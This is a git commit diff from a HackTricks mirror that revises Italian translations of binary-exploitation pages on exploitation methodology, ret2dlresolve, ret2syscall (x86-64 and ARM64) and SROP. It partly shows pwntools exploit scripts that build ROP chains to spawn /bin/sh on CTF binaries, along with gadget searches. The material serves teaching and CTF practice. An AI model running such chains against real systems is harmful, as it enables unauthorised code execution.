mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 14:08:26 +00:00
Translated ['binary-exploitation/basic-binary-exploitation-methodology/R
This commit is contained in:
Translator
parent
76cd74666c
commit
fb3fec6a8d
7 changed files with 248 additions and 38 deletions
|
|
@ -709,7 +709,8 @@
|
|||
* [Ret2syscall](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md)
|
||||
* [Ret2syscall - ARM64](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md)
|
||||
* [Ret2vDSO](binary-exploitation/rop-return-oriented-programing/ret2vdso.md)
|
||||
* [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming.md)
|
||||
* [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
|
||||
* [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
|
||||
* [Array Indexing](binary-exploitation/array-indexing.md)
|
||||
* [Integer Overflow](binary-exploitation/integer-overflow.md)
|
||||
* [Format Strings](binary-exploitation/format-strings/README.md)
|
||||
|
|
|
|||
|
|
@ -8,15 +8,15 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
## Informazioni di base su ELF
|
||||
|
||||
Prima di iniziare a sfruttare qualsiasi cosa, è interessante capire parte della struttura di un **binario ELF**:
|
||||
Prima di iniziare a sfruttare qualsiasi cosa, è interessante comprendere parte della struttura di un **binario ELF**:
|
||||
|
||||
{% content-ref url="elf-tricks.md" %}
|
||||
[elf-tricks.md](elf-tricks.md)
|
||||
|
|
@ -30,7 +30,7 @@ Prima di iniziare a sfruttare qualsiasi cosa, è interessante capire parte della
|
|||
|
||||
## Metodologia dello stack overflow
|
||||
|
||||
Con così tante tecniche è utile avere uno schema in cui ogni tecnica sarà utile. Nota che le stesse protezioni influenzeranno diverse tecniche. È possibile trovare modi per aggirare le protezioni in ciascuna sezione di protezione ma non in questa metodologia.
|
||||
Con così tante tecniche è utile avere uno schema in cui ogni tecnica sarà utile. Nota che le stesse protezioni influenzeranno tecniche diverse. È possibile trovare modi per aggirare le protezioni in ciascuna sezione di protezione ma non in questa metodologia.
|
||||
|
||||
## Controllo del flusso
|
||||
|
||||
|
|
@ -38,25 +38,25 @@ Ci sono diversi modi in cui potresti finire per controllare il flusso di un prog
|
|||
|
||||
* [**Stack Overflows**](../stack-overflow/) sovrascrivendo il puntatore di ritorno dallo stack o l'EBP -> ESP -> EIP.
|
||||
* Potrebbe essere necessario abusare di un [**Integer Overflows**](../integer-overflow.md) per causare l'overflow
|
||||
* Oppure tramite **Scritture Arbitrarie + Write What Where to Execution**
|
||||
* Oppure tramite **Scritture Arbitrarie + Scrivi Cosa Dove all'Esecuzione**
|
||||
* [**Stringhe di formato**](../format-strings/)**:** Abusare di `printf` per scrivere contenuti arbitrari in indirizzi arbitrari.
|
||||
* [**Indicizzazione di array**](../array-indexing.md): Abusare di un'indicizzazione mal progettata per poter controllare alcuni array e ottenere una scrittura arbitraria.
|
||||
* Potrebbe essere necessario abusare di un [**Integer Overflows**](../integer-overflow.md) per causare l'overflow
|
||||
* **bof to WWW via ROP**: Abusare di un buffer overflow per costruire un ROP e poter ottenere un WWW.
|
||||
|
||||
È possibile trovare le tecniche di **Write What Where to Execution** in:
|
||||
È possibile trovare le tecniche di **Scrivi Cosa Dove all'Esecuzione** in:
|
||||
|
||||
{% content-ref url="../arbitrary-write-2-exec/" %}
|
||||
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Cicli eterni
|
||||
## Loop eterni
|
||||
|
||||
Qualcosa da tenere in considerazione è che di solito **un solo sfruttamento di una vulnerabilità potrebbe non essere sufficiente** per eseguire con successo un exploit, specialmente se alcune protezioni devono essere aggirate. Pertanto, è interessante discutere alcune opzioni per **rendere una singola vulnerabilità sfruttabile più volte** nella stessa esecuzione del binario:
|
||||
|
||||
* Scrivere in una catena **ROP** l'indirizzo della funzione **`main`** o all'indirizzo in cui si verifica la **vulnerabilità**.
|
||||
* Controllando una corretta catena ROP potresti essere in grado di eseguire tutte le azioni in quella catena
|
||||
* Scrivere l'indirizzo di **`exit` in GOT** (o di qualsiasi altra funzione utilizzata dal binario prima della fine) per tornare all'indirizzo della vulnerabilità
|
||||
* Scrivere nell'indirizzo **`exit` in GOT** (o in qualsiasi altra funzione utilizzata dal binario prima della fine) l'indirizzo per tornare alla **vulnerabilità**
|
||||
* Come spiegato in [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop)**,** memorizzare qui 2 funzioni, una per richiamare nuovamente la vulnerabilità e un'altra per richiamare**`__libc_csu_fini`** che richiamerà nuovamente la funzione da `.fini_array`.
|
||||
|
||||
## Obiettivi dell'exploit
|
||||
|
|
@ -69,9 +69,9 @@ Qualcosa da tenere in considerazione è che di solito **un solo sfruttamento di
|
|||
* In un bof con [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), dovrai aggirarlo
|
||||
* Se è necessario impostare diversi parametri per chiamare correttamente la funzione **ret2win** puoi usare:
|
||||
* Una catena [**ROP**](./#rop-and-ret2...-techniques) **se ci sono abbastanza gadget** per preparare tutti i parametri
|
||||
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming.md) (nel caso in cui puoi chiamare questa syscall) per controllare molti registri
|
||||
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (nel caso in cui puoi chiamare questa syscall) per controllare molti registri
|
||||
* Gadget da [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) e [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) per controllare diversi registri
|
||||
* Attraverso un [**Write What Where**](../arbitrary-write-2-exec/) potresti abusare di altre vulnerabilità (non bof) per chiamare la funzione **`win`**.
|
||||
* Attraverso un [**Scrivi Cosa Dove**](../arbitrary-write-2-exec/) potresti abusare di altre vulnerabilità (non bof) per chiamare la funzione **`win`**.
|
||||
* [**Reindirizzamento dei puntatori**](../stack-overflow/pointer-redirecting.md): Nel caso lo stack contenga puntatori a una funzione che verrà chiamata o a una stringa che verrà utilizzata da una funzione interessante (system o printf), è possibile sovrascrivere quell'indirizzo.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) o [**PIE**](../common-binary-protections-and-bypasses/pie/) potrebbero influenzare gli indirizzi.
|
||||
* [**Variabili non inizializzate**](../stack-overflow/uninitialized-variables.md): Non si sa mai.
|
||||
|
|
@ -88,9 +88,9 @@ Qualcosa da tenere in considerazione è che di solito **un solo sfruttamento di
|
|||
* Questo mescolerà lo shellcode con una catena ROP.
|
||||
#### Attraverso le syscalls
|
||||
|
||||
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Utile per chiamare `execve` per eseguire comandi arbitrari. È necessario essere in grado di trovare i **gadget per chiamare la syscall specifica con i parametri**.
|
||||
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Utile per chiamare `execve` per eseguire comandi arbitrari. È necessario essere in grado di trovare i **gadget per chiamare la specifica syscall con i parametri**.
|
||||
* Se [**ASLR**](../common-binary-protections-and-bypasses/aslr/) o [**PIE**](../common-binary-protections-and-bypasses/pie/) sono abilitati, sarà necessario sconfiggerli **per utilizzare i gadget ROP** dal binario o dalle librerie.
|
||||
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming.md) può essere utile per preparare il **ret2execve**
|
||||
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) può essere utile per preparare il **ret2execve**
|
||||
* Gadget da [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) e [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) per controllare diversi registri
|
||||
|
||||
#### Attraverso libc
|
||||
|
|
@ -98,19 +98,19 @@ Qualcosa da tenere in considerazione è che di solito **un solo sfruttamento di
|
|||
* [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Utile per chiamare una funzione da una libreria (di solito da **`libc`**) come **`system`** con alcuni argomenti preparati (ad es. `'/bin/sh'`). È necessario che il binario **carichi la libreria** con la funzione che si desidera chiamare (di solito libc).
|
||||
* Se **compilato staticamente e senza** [**PIE**](../common-binary-protections-and-bypasses/pie/), l'**indirizzo** di `system` e `/bin/sh` non cambieranno, quindi è possibile utilizzarli staticamente.
|
||||
* **Senza** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e conoscendo la versione di libc** caricata, l'**indirizzo** di `system` e `/bin/sh` non cambieranno, quindi è possibile utilizzarli staticamente.
|
||||
* Con [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ma senza** [**PIE**](../common-binary-protections-and-bypasses/pie/), conoscendo la libc e con il binario che utilizza la funzione `system` è possibile **`ret` all'indirizzo di system nel GOT** con l'indirizzo di `'/bin/sh'` nei parametri (è necessario capire questo).
|
||||
* Con [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ma senza** [**PIE**](../common-binary-protections-and-bypasses/pie/), conoscendo la libc e con il binario che utilizza la funzione `system` è possibile **`ret` all'indirizzo di system nel GOT** con l'indirizzo di `'/bin/sh'` nei parametri (bisognerà capire questo).
|
||||
* Con [ASLR](../common-binary-protections-and-bypasses/aslr/) ma senza [PIE](../common-binary-protections-and-bypasses/pie/), conoscendo la libc e **senza che il binario utilizzi il `system`**:
|
||||
* Utilizzare [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) per risolvere l'indirizzo di `system` e chiamarlo 
|
||||
* **Eludere** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) e calcolare l'indirizzo di `system` e `'/bin/sh'` in memoria.
|
||||
* **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e** [**PIE**](../common-binary-protections-and-bypasses/pie/) **e senza conoscere la libc**: È necessario:
|
||||
* Eludere [**PIE**](../common-binary-protections-and-bypasses/pie/)
|
||||
* Trovare la **versione di `libc`** utilizzata (leak di un paio di indirizzi di funzioni)
|
||||
* Trovare la **versione di `libc`** utilizzata (effettuare un leak di un paio di indirizzi di funzione)
|
||||
* Controllare i **scenari precedenti con ASLR** per continuare.
|
||||
|
||||
#### Attraverso EBP/RBP
|
||||
|
||||
* [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Controlla l'ESP per controllare RET attraverso l'EBP memorizzato nello stack.
|
||||
* Utile per stack overflow **off-by-one**
|
||||
* [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Controllare l'ESP per controllare RET attraverso l'EBP memorizzato nello stack.
|
||||
* Utile per **overflow dello stack di uno**
|
||||
* Utile come modo alternativo per controllare EIP mentre si abusa di EIP per costruire il payload in memoria e quindi saltare ad esso tramite EBP
|
||||
|
||||
#### Varie
|
||||
|
|
|
|||
|
|
@ -22,10 +22,10 @@ La funzione **`_dl_runtime_resolve`** prende dallo stack riferimenti ad alcune s
|
|||
|
||||
Pertanto, è possibile **falsificare tutte queste strutture** per fare in modo che il collegamento dinamico risolva il simbolo richiesto (come la funzione **`system`**) e lo chiami con un parametro configurato (ad esempio **`system('/bin/sh')`**).
|
||||
|
||||
Di solito, tutte queste strutture vengono falsificate creando una **catena ROP iniziale che chiama `read`** su una memoria scrivibile, quindi le **strutture** e la stringa **`'/bin/sh'`** vengono passate affinché vengano memorizzate da read in una posizione conosciuta, e quindi la catena ROP continua chiamando **`_dl_runtime_resolve`**, facendolo **risolvere l'indirizzo di `system`** nelle strutture fittizie e **chiamando questo indirizzo** con l'indirizzo di `$'/bin/sh'`.
|
||||
Di solito, tutte queste strutture vengono falsificate creando una **catena ROP iniziale che chiama `read`** su una memoria scrivibile, quindi le **strutture** e la stringa **`'/bin/sh'`** vengono passate in modo che vengano memorizzate da read in una posizione conosciuta, e quindi la catena ROP continua chiamando **`_dl_runtime_resolve`**, facendogli **risolvere l'indirizzo di `system`** nelle strutture fittizie e **chiamando questo indirizzo** con l'indirizzo di `$'/bin/sh'`.
|
||||
|
||||
{% hint style="success" %}
|
||||
Questa tecnica è particolarmente utile se non ci sono gadget di syscall (per utilizzare tecniche come [**ret2syscall**](rop-syscall-execv/) o [SROP](srop-sigreturn-oriented-programming.md)) e non ci sono modi per rilevare gli indirizzi della libc.
|
||||
Questa tecnica è particolarmente utile se non ci sono gadget di syscall (per utilizzare tecniche come [**ret2syscall**](rop-syscall-execv/) o [SROP](srop-sigreturn-oriented-programming/)) e non ci sono modi per rilevare gli indirizzi delle librerie.
|
||||
{% endhint %}
|
||||
|
||||
Puoi trovare una spiegazione più dettagliata su questa tecnica nella seconda metà del video:
|
||||
|
|
@ -34,7 +34,7 @@ Puoi trovare una spiegazione più dettagliata su questa tecnica nella seconda me
|
|||
|
||||
## Strutture
|
||||
|
||||
È necessario falsificare 3 strutture: **`JMPREL`**, **`STRTAB`** e **`SYMTAB`**. Hai una spiegazione più dettagliata su come queste sono costruite in [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
|
||||
È necessario falsificare 3 strutture: **`JMPREL`**, **`STRTAB`** e **`SYMTAB`**. Trovi una spiegazione più dettagliata su come sono costruite in [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
|
||||
|
||||
## Riassunto dell'Attacco
|
||||
|
||||
|
|
@ -42,11 +42,11 @@ Puoi trovare una spiegazione più dettagliata su questa tecnica nella seconda me
|
|||
2. Imposta il primo argomento di system (`$rdi = &'/bin/sh'`)
|
||||
3. Imposta nello stack gli indirizzi delle strutture per chiamare **`_dl_runtime_resolve`**
|
||||
4. **Chiama** `_dl_runtime_resolve`
|
||||
5. **`system`** sarà risolto e chiamato con `'/bin/sh'` come argomento
|
||||
5. **`system`** verrà risolto e chiamato con `'/bin/sh'` come argomento
|
||||
|
||||
## Esempio
|
||||
|
||||
### Pwntools Puro
|
||||
### Pure Pwntools
|
||||
|
||||
Puoi trovare un [**esempio di questa tecnica qui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **contenente una spiegazione molto buona della catena ROP finale**, ma ecco l'exploit finale utilizzato:
|
||||
```python
|
||||
|
|
@ -178,4 +178,4 @@ target.interactive()
|
|||
* [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
|
||||
* [https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html)
|
||||
* 32 bit, senza relro, senza canary, nx, senza pie, buffer overflow di base e ritorno. Per sfruttarlo, il bof viene utilizzato per chiamare `read` nuovamente con una sezione `.bss` e una dimensione maggiore, per memorizzare lì le tabelle fake di `dlresolve` per caricare `system`, ritornare a main e ri-abusare del bof iniziale per chiamare dlresolve e quindi `system('/bin/sh')`.
|
||||
* 32 bit, senza relro, senza canary, nx, senza pie, buffer overflow di base e ritorno. Per sfruttarlo, il buffer overflow viene utilizzato per chiamare nuovamente `read` con una sezione `.bss` e una dimensione maggiore, per memorizzare lì le tabelle fake di `dlresolve` per caricare `system`, ritornare a main e ri-abusare del buffer overflow iniziale per chiamare dlresolve e quindi `system('/bin/sh')`.
|
||||
|
|
|
|||
|
|
@ -9,8 +9,8 @@ Altri modi per supportare HackTricks:
|
|||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -58,7 +58,7 @@ Start End Offset Perm Path
|
|||
```
|
||||
### Scrivere una stringa in memoria
|
||||
|
||||
Successivamente è necessario trovare un modo per scrivere contenuti arbitrari in questo indirizzo
|
||||
Successivamente è necessario trovare un modo per scrivere contenuti arbitrari in questo indirizzo.
|
||||
```python
|
||||
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
|
||||
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
|
||||
|
|
@ -111,8 +111,8 @@ rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
|||
|
||||
Se ti mancano **gadget**, ad esempio per scrivere `/bin/sh` in memoria, puoi utilizzare la **tecnica SROP per controllare tutti i valori dei registri** (inclusi RIP e i registri dei parametri) dallo stack:
|
||||
|
||||
{% content-ref url="../srop-sigreturn-oriented-programming.md" %}
|
||||
[srop-sigreturn-oriented-programming.md](../srop-sigreturn-oriented-programming.md)
|
||||
{% content-ref url="../srop-sigreturn-oriented-programming/" %}
|
||||
[srop-sigreturn-oriented-programming](../srop-sigreturn-oriented-programming/)
|
||||
{% endcontent-ref %}
|
||||
```python
|
||||
from pwn import *
|
||||
|
|
@ -185,6 +185,6 @@ target.interactive()
|
|||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
|
||||
* 64 bit, senza PIE, nx, scrivere in qualche memoria un ROP per chiamare `execve` e saltare lì.
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
|
||||
* 64 bit, nx, senza PIE, scrivere in qualche memoria un ROP per chiamare `execve` e saltare lì. Per scrivere nello stack viene abusata una funzione che esegue operazioni matematiche.
|
||||
* 64 bit, nx, senza PIE, scrivere in qualche memoria un ROP per chiamare `execve` e saltare lì. Per scrivere nello stack una funzione che esegue operazioni matematiche viene abusato
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
|
||||
* 64 bit, senza PIE, nx, BF canary, scrivere in qualche memoria un ROP per chiamare `execve` e saltare lì.
|
||||
|
|
|
|||
|
|
@ -2,14 +2,14 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
@ -58,7 +58,7 @@ Per preparare la chiamata al **syscall** è necessaria la seguente configurazion
|
|||
- `x1: 0 specifica che non vengono passati argomenti`
|
||||
- `x2: 0 specifica che non vengono passate variabili di ambiente`
|
||||
|
||||
Utilizzando ROPgadget.py sono riuscito a individuare i seguenti gadget:
|
||||
Utilizzando ROPgadget.py sono riuscito a individuare i seguenti gadget nella libreria libc della macchina:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```armasm
|
||||
|
|
@ -79,9 +79,13 @@ svc #0
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Con i gadget precedenti possiamo controllare tutti i registri necessari dalla stack e utilizzare x5 per saltare al secondo gadget per chiamare il syscall.
|
||||
Con i gadget precedenti possiamo controllare tutti i registri necessari dallo stack e utilizzare x5 per saltare al secondo gadget per chiamare la syscall.
|
||||
|
||||
### Exploit
|
||||
{% hint style="success" %}
|
||||
Nota che conoscere queste informazioni dalla libreria libc consente anche di effettuare un attacco ret2libc, ma usiamolo per questo esempio attuale.
|
||||
{% endhint %}
|
||||
|
||||
### Sfruttare
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
|
@ -130,7 +134,7 @@ p.sendline(payload)
|
|||
|
||||
p.interactive()
|
||||
```
|
||||
<details>
|
||||
<dettagli>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
|
|
@ -138,8 +142,8 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
</dettagli>
|
||||
|
|
|
|||
|
|
@ -0,0 +1,148 @@
|
|||
# SROP - Programmazione orientata a Sigreturn
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Informazioni di base
|
||||
|
||||
**`Sigreturn`** è una speciale **syscall** utilizzata principalmente per ripulire dopo che un gestore di segnali ha completato la sua esecuzione. I segnali sono interruzioni inviate a un programma dal sistema operativo, spesso per indicare che si è verificata una situazione eccezionale. Quando un programma riceve un segnale, mette temporaneamente in pausa il suo lavoro attuale per gestire il segnale con un **gestore di segnali**, una funzione speciale progettata per gestire i segnali.
|
||||
|
||||
Dopo che il gestore di segnali ha finito, il programma deve **ripristinare il suo stato precedente** come se nulla fosse accaduto. Qui entra in gioco **`sigreturn`**. Aiuta il programma a **tornare dal gestore di segnali** e ripristina lo stato del programma pulendo il frame dello stack (la sezione di memoria che memorizza le chiamate alle funzioni e le variabili locali) utilizzato dal gestore di segnali.
|
||||
|
||||
La parte interessante è come **`sigreturn`** ripristina lo stato del programma: lo fa memorizzando **tutti i valori dei registri della CPU nello stack.** Quando il segnale non è più bloccato, **`sigreturn` estrae questi valori dallo stack**, ripristinando efficacemente i registri della CPU al loro stato prima che il segnale fosse gestito. Questo include il registro del puntatore dello stack (RSP), che punta alla cima attuale dello stack.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Chiamando la syscall **`sigreturn`** da una catena ROP e **aggiungendo i valori dei registri** che vorremmo che caricasse nello **stack** è possibile **controllare** tutti i valori dei registri e quindi **chiamare** ad esempio la syscall `execve` con `/bin/sh`.
|
||||
{% endhint %}
|
||||
|
||||
Nota come questo sarebbe un **tipo di Ret2syscall** che rende molto più facile controllare i parametri per chiamare altri Ret2syscalls:
|
||||
|
||||
{% content-ref url="../rop-syscall-execv/" %}
|
||||
[rop-syscall-execv](../rop-syscall-execv/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Se sei curioso, questa è la **struttura sigcontext** memorizzata nello stack per recuperare successivamente i valori (diagramma da [**qui**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)):
|
||||
```
|
||||
+--------------------+--------------------+
|
||||
| rt_sigeturn() | uc_flags |
|
||||
+--------------------+--------------------+
|
||||
| &uc | uc_stack.ss_sp |
|
||||
+--------------------+--------------------+
|
||||
| uc_stack.ss_flags | uc.stack.ss_size |
|
||||
+--------------------+--------------------+
|
||||
| r8 | r9 |
|
||||
+--------------------+--------------------+
|
||||
| r10 | r11 |
|
||||
+--------------------+--------------------+
|
||||
| r12 | r13 |
|
||||
+--------------------+--------------------+
|
||||
| r14 | r15 |
|
||||
+--------------------+--------------------+
|
||||
| rdi | rsi |
|
||||
+--------------------+--------------------+
|
||||
| rbp | rbx |
|
||||
+--------------------+--------------------+
|
||||
| rdx | rax |
|
||||
+--------------------+--------------------+
|
||||
| rcx | rsp |
|
||||
+--------------------+--------------------+
|
||||
| rip | eflags |
|
||||
+--------------------+--------------------+
|
||||
| cs / gs / fs | err |
|
||||
+--------------------+--------------------+
|
||||
| trapno | oldmask (unused) |
|
||||
+--------------------+--------------------+
|
||||
| cr2 (segfault addr)| &fpstate |
|
||||
+--------------------+--------------------+
|
||||
| __reserved | sigmask |
|
||||
